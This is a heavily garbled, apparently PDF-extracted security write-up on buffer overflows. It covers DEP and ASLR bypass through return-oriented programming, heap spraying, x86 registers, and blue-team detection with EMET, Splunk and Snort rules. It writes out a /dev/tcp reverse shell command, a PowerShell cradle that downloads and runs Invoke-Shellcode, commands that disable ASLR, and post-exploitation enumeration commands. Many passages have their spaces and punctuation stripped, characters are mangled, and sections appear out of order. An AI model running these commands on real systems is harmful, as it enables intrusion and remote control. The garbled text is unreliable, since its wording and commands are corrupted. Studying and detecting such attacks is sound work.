httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

